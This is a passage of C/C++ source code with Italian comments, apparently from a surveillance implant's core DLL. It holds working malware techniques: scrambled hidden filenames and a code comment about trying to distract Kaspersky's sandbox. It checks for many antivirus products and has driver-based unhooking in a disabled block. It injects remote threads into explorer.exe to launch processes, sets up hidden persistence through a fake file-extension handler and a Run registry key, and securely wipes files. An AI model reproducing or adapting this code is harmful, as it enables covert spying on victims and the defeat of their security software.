    _snprintf_s(H4_HOME_PATH, DLLNAMELEN, _TRUNCATE, "%s", path_name);

    // Nome directory home
    if (! (ptr_offset = FNC(StrRChrA)(path_name, NULL, '\\')) )
        return FALSE;
    _snprintf_s(H4_HOME_DIR, MAX_RAND_NAME, _TRUNCATE, "%s", ptr_offset+1);

    // Deriva il nome dell'altro file che puo' essere usato per l'update
    // (Uso Alphabetlen/2 per avere sempre gli stessi due nomi che ciclano)
    if ( !(ptr_offset = LOG_ScrambleName(H4DLLNAME, ALPHABET_LEN/2, TRUE)) )
        return FALSE;
    _snprintf_s(H4_UPDATE_FILE, MAX_RAND_NAME, _TRUNCATE, "%s", ptr_offset);
    SAFE_FREE(ptr_offset);

    // Fra i due nomi possibili sceglie quello piu' piccolo in ordine alfabetico
    // da cui derivare i nomi rimanenti (in modo che qualsiasi dei due file
    // fra attuale e update sia utilizzato, i nomi dei file di conf, codec, etc.
    // siano gli stessi).
    if (H4_UPDATE_FILE[0]<H4DLLNAME[0])
        _snprintf_s(neutral_name, MAX_RAND_NAME, _TRUNCATE, "%s", H4_UPDATE_FILE);
    else
        _snprintf_s(neutral_name, MAX_RAND_NAME, _TRUNCATE, "%s", H4DLLNAME);

    // Il file di configurazione lo derivo dal nome "neutrale" della DLL
    // (quello fra i due dell'update piu' piccolo in ordine alfabetico).
    if ( !(ptr_offset = LOG_ScrambleName(neutral_name, 1, TRUE)) )
        return FALSE;
    _snprintf_s(H4_CONF_FILE, MAX_RAND_NAME, _TRUNCATE, "%s", ptr_offset);
    SAFE_FREE(ptr_offset);
    
    // Il conf back-up lo derivo dal file di conf
    if ( !(ptr_offset = LOG_ScrambleName(H4_CONF_FILE, 1, TRUE)) )
        return FALSE;
    _snprintf_s(H4_CONF_BU, MAX_RAND_NAME, _TRUNCATE, "%s", ptr_offset);
    SAFE_FREE(ptr_offset);

    // Il nome del codec lo derivo dal file di backup
    if ( !(ptr_offset = LOG_ScrambleName(H4_CONF_BU, 1, TRUE)) )
        return FALSE;
    _snprintf_s(H4_CODEC_NAME, MAX_RAND_NAME, _TRUNCATE, "%s", ptr_offset);
    SAFE_FREE(ptr_offset);

    // Il nome del file dummy lo derivo dal file del codec
    if ( !(ptr_offset = LOG_ScrambleName(H4_CODEC_NAME, 1, TRUE)) )
        return FALSE;
    _snprintf_s(H4_DUMMY_NAME, MAX_RAND_NAME, _TRUNCATE, "%s", ptr_offset);
    SAFE_FREE(ptr_offset);

    // XXX Attenzione che dopo dummy_name c'e' il nome del driver di
    // kaspersky, della pstorec.dll e del file di capture per la webcam
    
    if ( !(ptr_offset = LOG_ScrambleName(H4_DUMMY_NAME, 10, TRUE)) )
        return FALSE;
    _snprintf_s(H4_MOBCORE_NAME, MAX_RAND_NAME, _TRUNCATE, "%s", ptr_offset);
    SAFE_FREE(ptr_offset);

    if ( !(ptr_offset = LOG_ScrambleName(H4_MOBCORE_NAME, 1, TRUE)) )
        return FALSE;
    _snprintf_s(H4_MOBZOO_NAME, MAX_RAND_NAME, _TRUNCATE, "%s", ptr_offset);
    SAFE_FREE(ptr_offset);

    // CONF SCRAMBLATO DI 15
    if ( !(ptr_offset = LOG_ScrambleName(H4_MOBZOO_NAME, 1, TRUE)) )
        return FALSE;
    _snprintf_s(H64DLL_NAME, MAX_RAND_NAME, _TRUNCATE, "%s", ptr_offset);
    SAFE_FREE(ptr_offset);

    // Se e' 32bit prende il driver classico (dummy scramblato di 1)
    // altrimenti prende quello nuovo (conf scramblato di 16)
    if (IsX64System()) {
        if ( !(ptr_offset = LOG_ScrambleName(H64DLL_NAME, 1, TRUE)) )
            return FALSE;
        _snprintf_s(H4DRIVER_NAME, MAX_RAND_NAME, _TRUNCATE, "%s", ptr_offset);
        SAFE_FREE(ptr_offset);

        if ( !(ptr_offset = LOG_ScrambleName(H4_DUMMY_NAME, 1, TRUE)) )
            return FALSE;
        _snprintf_s(H4DRIVER_NAME_ALT, MAX_RAND_NAME, _TRUNCATE, "%s", ptr_offset);
        SAFE_FREE(ptr_offset);

    } else {
        if ( !(ptr_offset = LOG_ScrambleName(H4_DUMMY_NAME, 1, TRUE)) )
            return FALSE;
        _snprintf_s(H4DRIVER_NAME, MAX_RAND_NAME, _TRUNCATE, "%s", ptr_offset);
        SAFE_FREE(ptr_offset);
        
        if ( !(ptr_offset = LOG_ScrambleName(H64DLL_NAME, 1, TRUE)) )
            return FALSE;
        _snprintf_s(H4DRIVER_NAME_ALT, MAX_RAND_NAME, _TRUNCATE, "%s", ptr_offset);
        SAFE_FREE(ptr_offset);

    }

    // XXX Attenzione che i successivi li devo derivare da H4_MOBZOO_NAME scramblato di 2

    // La chiave nel registry e' binary patchata
    _snprintf_s(REGISTRY_KEY_NAME, MAX_RAND_NAME, _TRUNCATE, "%s", BIN_PATCHED_REGISTRY_KEY);
    //_snprintf_s(OLD_REGISTRY_KEY_NAME, MAX_RAND_NAME, _TRUNCATE, "%s", BIN_PATCHED_OLD_REGISTRY_KEY);
    _snprintf_s(EXE_INSTALLER_NAME, MAX_RAND_NAME, _TRUNCATE, "%s", H4_HOME_DIR);

    // Genera i nomi della shared memory in base alla chiave per-cliente
    // XXX Verificare sempre che la chiave NON sia quella embeddata nel codice, maquella binary-patched
    BYTE *temp_arr = (BYTE *)WATERMARK;
    BYTE ckey_arr[16];
    for (int j=0; j<16; j++)
        ckey_arr[j] = temp_arr[j];
    ckey_arr[8] = 0;
    _snprintf_s(SHARE_MEMORY_READ_NAME, MAX_RAND_NAME, _TRUNCATE, "%s", ckey_arr);
    ckey_arr[7] = 0;
    _snprintf_s(SHARE_MEMORY_WRITE_NAME, MAX_RAND_NAME, _TRUNCATE, "%s", ckey_arr);
    ckey_arr[6] = 0;
    _snprintf_s(SHARE_MEMORY_ASP_COMMAND_NAME, MAX_RAND_NAME, _TRUNCATE, "%s", ckey_arr);

    return TRUE;
}


void IndirectCreateProcess(char *cmd_line, DWORD flags, STARTUPINFO *si, PROCESS_INFORMATION *pi, BOOL inherit)
{
    HMODULE hmod = NULL;
    CreateProcess_t pCreateProcess = NULL;

    hmod = GetModuleHandle("kernel32.dll");
    if (hmod)
        pCreateProcess = (CreateProcess_t)HM_SafeGetProcAddress(hmod, "CreateProcessA");
    if (pCreateProcess)
        pCreateProcess(NULL, cmd_line, 0, 0, inherit, flags, 0, 0, si, pi);
}

void IndirectCreateProcessAsUser(char *cmd_line, DWORD flags, STARTUPINFO *si, PROCESS_INFORMATION *pi, HANDLE hToken)
{
    HMODULE hmod = NULL;
    CreateProcessAsUser_t pCreateProcessAsUser = NULL;

    if (!hToken)
        return IndirectCreateProcess(cmd_line, flags, si, pi, FALSE);

    hmod = GetModuleHandle("advapi32.dll");
    if (hmod)
        pCreateProcessAsUser = (CreateProcessAsUser_t)HM_SafeGetProcAddress(hmod, "CreateProcessAsUserA");
    if (pCreateProcessAsUser)
        pCreateProcessAsUser(hToken, NULL, cmd_line, 0, 0, FALSE, flags, 0, 0, si, pi);
}


HANDLE GetMediumLevelToken()
{
    HANDLE hToken;
    HANDLE hNewToken = NULL;

    // Medium integrity SID
    WCHAR wszIntegritySid[20] = L"S-1-16-8192";
    PSID pIntegritySid = NULL;

    TOKEN_MANDATORY_LABEL TIL = {0};
    PROCESS_INFORMATION ProcInfo = {0};
    STARTUPINFOW StartupInfo = {0};
    ULONG ExitCode = 0;

    if (OpenProcessToken(GetCurrentProcess(),MAXIMUM_ALLOWED, &hToken)) {
        if (DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)) {
            if (ConvertStringSidToSidW(wszIntegritySid, &pIntegritySid)) {
                TIL.Label.Attributes = SE_GROUP_INTEGRITY;
                TIL.Label.Sid = pIntegritySid;
                SetTokenInformation(hNewToken, TokenIntegrityLevel, &TIL, sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(pIntegritySid));
                LocalFree(pIntegritySid);
            }
        }
        CloseHandle(hToken);
    }
    return hNewToken;
}

// Funzione richiamata dal dropper che sceglie il processo da usare per fare la 
// CreateProcess e poi la invoca.
extern "C" void __stdcall HIDING(void);
void __stdcall HM_RunCore(char *cmd_line, DWORD flags, STARTUPINFO *si, PROCESS_INFORMATION *pi)
{
    DWORD dummy;

    // Cerca di "distrarre" la sandbox di kaspersky
    HIDING();

    //HideDevice dev_probe;
    
    // Ci sono degli AV con cui proprio non si deve installare
    if (IsBlackList())  {
        ReportCannotInstall();
        return;
    }
#if 0
    // Decide se e dove copiare il driver 
    // (Se c'e' ZoneAlarm E ctfmon NON mette il driver)
    if ( (IsVista(&dummy) || IsAvira() || IsDeepFreeze() || IsBlink() || IsPGuard() || /*IsKaspersky() ||*/ IsMcAfee() || IsKerio() || IsComodo2() || IsComodo3() || IsPanda() || IsTrend() || IsZoneAlarm() || IsAshampoo() || IsEndPoint())
         && !(IsZoneAlarm() && HM_FindPid("ctfmon.exe", TRUE)) && !IsRising() && !IsADAware() && !IsSunBeltPF() && !IsSophos32() && (!IsPCTools() || IsDeepFreeze()) && (!IsKaspersky() || IsDeepFreeze())  && (!IsFSecure() || IsDeepFreeze())) {
        WCHAR drv_path[DLLNAMELEN*2];
        ZeroMemory(drv_path, sizeof(drv_path));

        if (!HM_GuessNames()) {
            ReportCannotInstall();
            return;
        }

        // Copia il driver (solo se non c'e' gia')
        if (!dev_probe.unhook_isdev()) {
            if (!CopySystemDriver(drv_path)) {
                ReportCannotInstall();
                return;
            }
        }

        HideDevice dev_unhook(drv_path);
        Sleep(350); // XXX Attesa paranoica
        if (!IsAvast())
            dev_unhook.unhook_all(FALSE);
        dev_unhook.unhook_func("ZwSetValueKey", TRUE);
        dev_unhook.unhook_hidepid(FNC(GetCurrentProcessId)(), TRUE);

        if ((IsAvira() || IsBlink() || /*IsKaspersky() ||*/ IsKerio() || IsPGuard() || IsComodo2() || IsComodo3() || IsPanda() || /*IsTrend() ||*/ IsEndPoint()) && (!dev_unhook.unhook_isdrv(DRIVER_NAME_W) && !dev_unhook.unhook_isdrv(DRIVER_NAME_OLD_W))) {
            ReportCannotInstall();
            return;
        }

        // Se c'e' deep freeze copia il core e il driver sul disco "reale"
        if (IsDeepFreeze()) {
            if (DFFixCore(&dev_unhook, (unsigned char *)H4DLLNAME, (unsigned char *)H4_HOME_PATH, (unsigned char *)REGISTRY_KEY_NAME, FALSE)) {
                PVOID old_value = DisableWow64Fs();
                DFFixDriver(&dev_unhook, drv_path);
                RevertWow64Fs(old_value);
            }
        }
    }
#endif
    // ---------------------------------------------
    HANDLE hToken = GetMediumLevelToken();
    if (IsAVG_IS() || IsFSecure() || IsKaspersky()) {
        char exp_cmd[512];
        HM_ExpandStrings(cmd_line, exp_cmd, sizeof(exp_cmd));
        IndirectCreateProcessAsUser(exp_cmd, flags, si, pi, hToken);
        //CreateProcess(NULL, exp_cmd, 0, 0, FALSE, flags, 0, 0, si, pi);
    } else if (HM_FindPid("zlclient.exe", FALSE)) {
        // Se c'e' zonealarm usa come host ctfmon,
        // se questo non e' presente usa explorer
        HM_CreateProcessAsUser(cmd_line, flags, si, pi, HM_FindPid("ctfmon.exe", TRUE), hToken);
    } else // Non c'e' zonealarm e usa explorer
        HM_CreateProcessAsUser(cmd_line, flags, si, pi, 0, hToken);
    //HideDevice dev_unhook;
    //dev_unhook.unhook_hidepid(FNC(GetCurrentProcessId)(), FALSE);    
}

// Funzione per far eseguire CreateProcess a explorer (o a un altro processo specificato)
// Se fallisce ritorna 0 come child_pid nella struttura PROCESS_INFORMATION
void __stdcall HM_CreateProcess(char *cmd_line, DWORD flags, STARTUPINFO *si, PROCESS_INFORMATION *pi, DWORD host_pid)
{
    HM_CreateProcessAsUser(cmd_line, flags, si, pi, host_pid, NULL);
}

void __stdcall HM_CreateProcessAsUser(char *cmd_line, DWORD flags, STARTUPINFO *si, PROCESS_INFORMATION *pi, DWORD host_pid, HANDLE hToken)
{
    HMCreateProcessThreadDataStruct HMCreateProcessThreadData;
    HMODULE hMod;
    HANDLE hThreadRem;
    HANDLE hProcess;
    DWORD dwThreadId;
    DWORD explorer_pid;
    DWORD dummy;
    BYTE *pCodeRemote;
    BYTE *pDataRemote;

    explorer_pid = host_pid;
    pi->dwProcessId = 0;
    ZeroMemory(&(HMCreateProcessThreadData.pi), sizeof(PROCESS_INFORMATION));
    memcpy(&(HMCreateProcessThreadData.si), si, sizeof(STARTUPINFO));
    HMCreateProcessThreadData.si.dwFlags |= STARTF_FORCEOFFFEEDBACK;
    HMCreateProcessThreadData.flags = flags;

    if (!HM_ExpandStrings(cmd_line, HMCreateProcessThreadData.cmd_line, sizeof(HMCreateProcessThreadData.cmd_line)))
        strcpy(HMCreateProcessThreadData.cmd_line, cmd_line);

    if (! (hMod = GetModuleHandle("KERNEL32.DLL")) )
        return;

    HMCreateProcessThreadData.pCreateProcess = (CreateProcess_t) HM_SafeGetProcAddress(hMod, "CreateProcessA");

    HMCreateProcessThreadData.pCloseHandle = (CloseHandle_t) HM_SafeGetProcAddress(hMod, "CloseHandle");

    if (!HMCreateProcessThreadData.pCreateProcess || !HMCreateProcessThreadData.pCloseHandle)
        return;

    // Cerca il PID di exporer.exe
    // solo se non abbiamo specificato il processo ospite
    if (!explorer_pid)
        explorer_pid = HM_FindPid("explorer.exe", TRUE);

    // Se non trova un processo ospite, o se e' a 64bit, chiama la CreateProcess normale
    if (!explorer_pid || IsX64Process(explorer_pid)) {
        pi->hProcess = 0; pi->hThread = 0;
        IndirectCreateProcessAsUser(HMCreateProcessThreadData.cmd_line, flags, si, pi, hToken);
        if (pi->hProcess)
            CloseHandle(pi->hProcess);
        if (pi->hThread)
            CloseHandle(pi->hThread);
        pi->hProcess = 0; pi->hThread = 0;
        return;
    }

    // Inietta dentro explorer la funzione per la CreateProcess
    if(HM_sCreateHookA(explorer_pid, 
                       NULL, NULL, 
                       (BYTE *)HM_CreateProcessThread, 
                       500, 
                       (BYTE *)&HMCreateProcessThreadData, 
                       sizeof(HMCreateProcessThreadData)) == NULL)
                            return;

    pCodeRemote = (BYTE *)HMCreateProcessThreadData.dwHookAdd;
    pDataRemote = (BYTE *)HMCreateProcessThreadData.dwDataAdd;

    // Esegue il thread in explorer.exe
    hProcess = FNC(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, explorer_pid);
    if(hProcess == NULL) 
        return;

    hThreadRem = HM_SafeCreateRemoteThread(hProcess, NULL, 8192, 
                                    (LPTHREAD_START_ROUTINE)pCodeRemote, 
                                    (LPVOID)pDataRemote, 0, 
                                    &dwThreadId);

    if(hThreadRem == NULL) {
        FNC(VirtualFreeEx)(hProcess, pCodeRemote, 0, MEM_RELEASE);
        FNC(VirtualFreeEx)(hProcess, pDataRemote, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return ;
    }
        
    // Aspetta che finisca il thread
    FNC(WaitForSingleObject)(hThreadRem, INFINITE);
    CloseHandle(hThreadRem);

    // Legge la memoria con il PID
    if (HM_SafeReadProcessMemory(hProcess, pDataRemote, &HMCreateProcessThreadData, sizeof(HMCreateProcessThreadData), &dummy))
        pi->dwProcessId = HMCreateProcessThreadData.pi.dwProcessId;

    FNC(VirtualFreeEx)(hProcess, pDataRemote, 0, MEM_RELEASE);
    FNC(VirtualFreeEx)(hProcess, pCodeRemote, 0, MEM_RELEASE);
    CloseHandle(hProcess);

    return;
}


// Funzione per il completamento del path relativo alla posizione della DLL.
// 
char *HM_CompletePath(char *file_name, char *buffer)
{
    _snprintf_s(buffer, _MAX_PATH, _TRUNCATE, "%s\\%s", H4_HOME_PATH, file_name);
    return buffer;
}

WCHAR *HM_CompletePathW(WCHAR *file_name, WCHAR *buffer)
{
    _snwprintf_s(buffer, _MAX_PATH, _TRUNCATE, L"%S\\%s", H4_HOME_PATH, file_name);
    return buffer;
}

// ritorna la data (100-nanosec dal 1601)
BOOL HM_GetDate(nanosec_time *time)
{
    //SYSTEMTIME system_time;
    FILETIME time_nanosec;

    // Prende il tempo di sistema e lo converte in FILETIME (100-nanosecondi)
    FNC(GetSystemTimeAsFileTime)(&time_nanosec);
    //if (!FNC(SystemTimeToFileTime)(&system_time, &time_nanosec))
        //return FALSE;

    time->hi_delay = time_nanosec.dwHighDateTime;
    time->lo_delay = time_nanosec.dwLowDateTime;

    return TRUE;
}

BOOL HM_HourStringToMillisecond(const WCHAR *time_string, DWORD *millisecond)
{
    DWORD hour, minute, second;
    swscanf_s(time_string, L"%d:%d:%d", &hour, &minute, &second); 
    *millisecond = ((((hour*60) + minute)*60) + second)*1000;
    return TRUE;
}

BOOL HM_TimeStringToFileTime(const WCHAR *time_string, FILETIME *ftime)
{
    SYSTEMTIME stime;

    ZeroMemory(&stime, sizeof(stime));
    swscanf_s(time_string, L"%d-%d-%d %d:%d:%d", &stime.wYear, &stime.wMonth, &stime.wDay, &stime.wHour, &stime.wMinute, &stime.wSecond); 

    return SystemTimeToFileTime(&stime, ftime);
}

#include "SkypeACL\HashUtil.h"
#define EXT_LEN 4
BOOL CreateFakeExtension(char *ext)
{
    DWORD i;
    BYTE md5_water[MD5_DIGEST_SIZE * 2 + 1];
    BYTE md5_encky[MD5_DIGEST_SIZE * 2 + 1];

    if (!MD5_Array((char *)md5_water, WATERMARK, 8))
        return FALSE;
    if (!MD5_Array((char *)md5_encky, ENCRYPTION_KEY, 8))
        return FALSE;
    
    for (i=0; i<EXT_LEN; i++) {
        md5_water[i] += md5_encky[i];
        ext[i] = 'a'+ (md5_water[i]%26);
    }
    ext[i] = 0;
    return TRUE;
}

// Inserisce la chiave nel registry per l'avvio automatico
void HM_InsertRegistryKey(char *dll_name, BOOL force_insert)
{
    char key_value[DLLNAMELEN*3];
    char dll_path[DLLNAMELEN];
    char key_path[DLLNAMELEN];
    char extension[12];
    char *ptr;
    HANDLE hfile;
    HKEY hOpen;

    if (!CreateFakeExtension(extension))
        return;

    // Verifica, se richiesto, l'esistenza della chiave 
    if (!force_insert) {
        DWORD ktype;
        char value[MAX_PATH];
        DWORD len = sizeof(value);
        ZeroMemory(value, len);
        sprintf(key_value, "Software\\Classes\\%s_auto_file\\shell\\open\\command", extension);
        if (FNC(RegOpenKeyA)(HKEY_CURRENT_USER, key_value, &hOpen) == ERROR_SUCCESS) {
            if (FNC(RegQueryValueExA)(hOpen, NULL, NULL, &ktype, (BYTE *)value, &len) == ERROR_SUCCESS) {
                if (strstr(value, dll_name)) {
                    FNC(RegCloseKey)(hOpen);
                    return;
                }
            }
            FNC(RegCloseKey)(hOpen);
        }
    }

    // Crea il file per l'avvio se non esiste gia'
    sprintf(key_value, "..\\%s.%s", REGISTRY_KEY_NAME, extension);
    HM_CompletePath(key_value, dll_path);
    hfile = CreateFile(dll_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
    if (hfile == INVALID_HANDLE_VALUE) {
        hfile = CreateFile(dll_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, NULL, NULL);
        if (hfile == INVALID_HANDLE_VALUE) {
            CloseHandle(hfile);
            return;
        }
        CloseHandle(hfile);
        FNC(SetFileAttributesA)(dll_path, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_ARCHIVE);
    } else 
        CloseHandle(hfile);

    // Scrive il comando da eseguire
    sprintf(key_value, "%%systemroot%%\\system32\\rundll32.exe ");
    HM_CompletePath(dll_name, dll_path);
    strcat(key_value, "\""); 
    strcat(key_value, "%windir%\\..\\");
    strcat(key_value, dll_path+3);
    strcat(key_value, "\""); 
    strcat(key_value, ",PPPFTBBP08"); 
    sprintf(key_path, "Software\\Classes\\%s_auto_file\\shell\\open\\command", extension);
    if (FNC(RegCreateKeyA) (HKEY_CURRENT_USER, key_path, &hOpen) != ERROR_SUCCESS) 
        return;
    if (FNC(RegSetValueExA)(hOpen, NULL, NULL, REG_EXPAND_SZ, (unsigned char *)key_value, strlen(key_value)+1) != ERROR_SUCCESS) {
        FNC(RegCloseKey)(hOpen);
        return;
    }
    FNC(RegCloseKey)(hOpen);

    // Associa l'estensione
    sprintf(key_value, "%s_auto_file", extension);
    sprintf(key_path, "Software\\Classes\\.%s", extension);
    if (FNC(RegCreateKeyA) (HKEY_CURRENT_USER, key_path, &hOpen) != ERROR_SUCCESS) 
        return;
    if (FNC(RegSetValueExA)(hOpen, NULL, NULL, REG_EXPAND_SZ, (unsigned char *)key_value, strlen(key_value)+1) != ERROR_SUCCESS) {
        FNC(RegCloseKey)(hOpen);
        return;
    }
    FNC(RegCloseKey)(hOpen);

    // scrive la chiave in Run
    if (FNC(RegOpenKeyA)(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hOpen) == ERROR_SUCCESS ||
        FNC(RegCreateKeyA) (HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hOpen) == ERROR_SUCCESS) {        
        sprintf(key_value, H4_HOME_PATH);
        if (ptr = strrchr(key_value, '\\')) { 
            *ptr = 0;
            sprintf(key_value, "%s\\%s.%s", key_value, REGISTRY_KEY_NAME, extension);
            FNC(RegSetValueExA)(hOpen, REGISTRY_KEY_NAME, NULL, REG_EXPAND_SZ, (unsigned char *)key_value, strlen(key_value)+1);
        }
        FNC(RegCloseKey)(hOpen);
    }
}


// Rimuove la chiave di startup nel registry
void HM_RemoveRegistryKey()
{
    HKEY hOpen;
    char key_path[DLLNAMELEN];
    char dll_path[DLLNAMELEN];
    char extension[12];

    // Cancella chiave in Run
    if (FNC(RegOpenKeyA) (HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hOpen) == ERROR_SUCCESS) {
        FNC(RegDeleteValueA) (hOpen, REGISTRY_KEY_NAME);
        FNC(RegCloseKey)(hOpen);
    }

    if (!CreateFakeExtension(extension))
        return;

    // Cancella l'associazione
    sprintf(key_path, "Software\\Classes\\.%s", extension);
    RegDeleteKeyA(HKEY_CURRENT_USER, key_path);

    // Cancella il comando
    sprintf(key_path, "Software\\Classes\\%s_auto_file\\shell\\open\\command", extension);
    RegDeleteKeyA(HKEY_CURRENT_USER, key_path);
    sprintf(key_path, "Software\\Classes\\%s_auto_file\\shell\\open", extension);
    RegDeleteKeyA(HKEY_CURRENT_USER, key_path);
    sprintf(key_path, "Software\\Classes\\%s_auto_file\\shell", extension);
    RegDeleteKeyA(HKEY_CURRENT_USER, key_path);
    sprintf(key_path, "Software\\Classes\\%s_auto_file", extension);
    RegDeleteKeyA(HKEY_CURRENT_USER, key_path);

    // Cancella il file
    sprintf(key_path, "..\\%s.%s", REGISTRY_KEY_NAME, extension);
    HM_CompletePath(key_path, dll_path);
    FNC(SetFileAttributesA)(dll_path, FILE_ATTRIBUTE_NORMAL);
    FNC(DeleteFileA)(dll_path);
}

// Ritorna il puntatore a dopo una stringa trovata in memoria
char *HM_memstr(char *memory, char *string)
{
    char *ptr;
    ptr = memory;

    LOOP {
        if (!strcmp(ptr, string))
            return (ptr + strlen(string) + 1);
        ptr++;
    }
}

// Tenta a tutti i costi di cancellare un file
void HM_WipeFileA(char *file_name)
{
    DWORD i;
    HANDLE hf;
    DWORD data_size;
    DWORD data_wiped;
    DWORD dwTmp;
    BOOL ret_val;
    char wipe_string[]="\x0\x0\x0\x0\x0\x0\x0"; // la lunghezza di wipe string deve essere
                                                // sotto multiplo di 4GB per evitare loop
    // Toglie il readonly
    for(i=0; i<MAX_DELETE_TRY; i++) {
        ret_val = FNC(SetFileAttributesA)(file_name, FILE_ATTRIBUTE_NORMAL);
        if (ret_val || GetLastError()==ERROR_FILE_NOT_FOUND)
            break;
        Sleep(DELETE_SLEEP_TIME);
    }

    // Sovrascrive (solo se e' stato configurato per farlo)
    if (log_wipe_file) {
        for(i=0; i<MAX_DELETE_TRY; i++) {
            if ( (hf = FNC(CreateFileA)(file_name, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL)) != INVALID_HANDLE_VALUE ) {
                data_size = FNC(GetFileSize)(hf, NULL);
                if (data_size == INVALID_FILE_SIZE)
                    data_size = 0;
                for (data_wiped=0; data_wiped<data_size; data_wiped+=sizeof(wipe_string))
                    FNC(WriteFile)(hf, wipe_string, sizeof(wipe_string), &dwTmp, NULL);
                CloseHandle(hf);
                break;
            }
            Sleep(DELETE_SLEEP_TIME);
        }
    }

    // Cancella
    for(i=0; i<MAX_DELETE_TRY; i++) {
        ret_val = FNC(DeleteFileA)(file_name);
        if (ret_val || GetLastError()==ERROR_FILE_NOT_FOUND)
            break;
        Sleep(DELETE_SLEEP_TIME);
    }
}


void HM_WipeFileW(WCHAR *file_name)
{
    DWORD i;
    HANDLE hf;
    DWORD data_size;
    DWORD data_wiped;
    DWORD dwTmp;
    char wipe_string[]="\x0\x0\x0\x0\x0\x0\x0"; // la lunghezza di wipe string deve essere
                                                // sotto multiplo di 4GB per evitare loop

    // Toglie il readonly
    for(i=0; i<MAX_DELETE_TRY; i++) {
        if (FNC(SetFileAttributesW)(file_name, FILE_ATTRIBUTE_NORMAL))
            break;
        Sleep(DELETE_SLEEP_TIME);
    }

    // Sovrascrive (solo se e' stato configurato per farlo)
    if (log_wipe_file) {
        for(i=0; i<MAX_DELETE_TRY; i++) {
            if ( (hf = FNC(CreateFileW)(file_name, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL)) != INVALID_HANDLE_VALUE ) {
                data_size = FNC(GetFileSize)(hf, NULL);
                if (data_size == INVALID_FILE_SIZE)
                    data_size = 0;
                for (data_wiped=0; data_wiped<data_size; data_wiped+=sizeof(wipe_string))
                    FNC(WriteFile)(hf, wipe_string, sizeof(wipe_string), &dwTmp, NULL);
                CloseHandle(hf);
                break;
            }
            Sleep(DELETE_SLEEP_TIME);
        }
    }
    
    // Cancella
    for(i=0; i<MAX_DELETE_TRY; i++) {
        if (FNC(DeleteFileW)(file_name))
            break;
        Sleep(DELETE_SLEEP_TIME);
    }
}


// Verifica se c'e' una copia integra del file di configurazione.
// Se e' integra la rimpiazza sull'originale. In ogni caso la cancella (se esiste).
// Se rimpiazza l'originale ritorna TRUE.
BOOL HM_CheckNewConf(char *conf_file_name) 
{
    HANDLE h_conf_file;
    char *clear_file;
    char conf_path[DLLNAMELEN];
    char orig_conf_path[DLLNAMELEN];

    h_conf_file = FNC(CreateFileA)(HM_CompletePath(conf_file_name, conf_path), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    // Se non trova nessun file di backup ritorna (lo considera inesistente)
    if (h_conf_file == INVALID_HANDLE_VALUE)
        return FALSE;
    CloseHandle(h_conf_file);

    // Verifica che il file sia integro e decifrabile correttamente
    clear_file = HM_ReadClearConf(conf_file_name);
    if (!clear_file) {
        HM_WipeFileA(HM_CompletePath(conf_file_name, conf_path));
        return FALSE;
    }
    SAFE_FREE(clear_file);

    // Ora il file e' considerato integro e tutti gli handle sono chiusi.
    // Procede quindi alla copia su quello originale.
    // Se fallisce la copia non cancella il backup (lo copiera' al prossimo avvio).
    UnlockConfFile();
    if (!FNC(CopyFileA)(HM_CompletePath(conf_file_name, conf_path), HM_CompletePath(H4_CONF_FILE, orig_conf_path), FALSE))
        return FALSE;
    LockConfFile();

    // La copia e' riuscita, quindi cancella il file di backup e torna TRUE.
    HM_WipeFileA(HM_CompletePath(conf_file_name, conf_path));

    // Nel caso ci sia DeepFreeze, fixa il file di destinazione sul disco reale
    if (IsDeepFreeze()) {
        HideDevice dev_df;
        WCHAR dest_path[MAX_PATH];
        swprintf(dest_path, L"%S", HM_CompletePath(H4_CONF_FILE, orig_conf_path));
        DFFixFile(&dev_df, dest_path);
    }

    return TRUE;
}

// Ritorna una zona di memoria con il file di configurazione
// in chiaro. Va liberata!!!. Torna NULL se fallisce.
#define AES_BLOCK_LEN 16
#define MINIMUM_CONF_LEN (SHA_DIGEST_LENGTH+AES_BLOCK_LEN)
char *HM_ReadClearConf(char *conf_name)
{
    BYTE iv[BLOCK_LEN];
    char *conf_memory_clear = NULL;
    DWORD conf_len = INVALID_FILE_SIZE;
    BYTE *conf_memory = NULL;
    HANDLE h_conf_file, h_map = 0;
    char conf_path[DLLNAMELEN];
    BYTE crc[SHA_DIGEST_LENGTH];
    BOOL crc_ok = FALSE;
    DWORD pad_len;

    // Mappa per comodita' il file di configurazione nella memoria
    h_conf_file = FNC(CreateFileA)(HM_CompletePath(conf_name, conf_path), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (h_conf_file != INVALID_HANDLE_VALUE && (h_map = FNC(CreateFileMappingA)(h_conf_file, NULL, PAGE_READONLY, 0, 0, NULL))) {
        conf_memory = (BYTE *)FNC(MapViewOfFile)(h_map, FILE_MAP_READ, 0, 0, 0);
        conf_len = FNC(GetFileSize)(h_conf_file, NULL);
    }
    
    // Crea una copia in chiaro in memoria
    if (conf_memory && conf_len!=INVALID_FILE_SIZE && conf_len>MINIMUM_CONF_LEN) {
        // Alloca la memoria 
        conf_memory_clear = (char *)malloc(conf_len);
        if (conf_memory_clear) {
            // Decifra il file di conf (assume che la parte cifrata sia gia' stata
            // paddata).
            memset(iv, 0, sizeof(iv));
            aes_cbc_decrypt(&crypt_ctx_conf, iv, conf_memory, (BYTE *)conf_memory_clear, conf_len);
        }    
    }
    
    // Chiude il mapping
    if (conf_memory)
        FNC(UnmapViewOfFile)(conf_memory);
    if (h_map)
        CloseHandle(h_map);
    if (h_conf_file != INVALID_HANDLE_VALUE)
        CloseHandle(h_conf_file);

    if (!conf_memory_clear)
        return NULL;

    // Elimina il padding
    pad_len = conf_memory_clear[conf_len-1];
    if (pad_len>AES_BLOCK_LEN) {
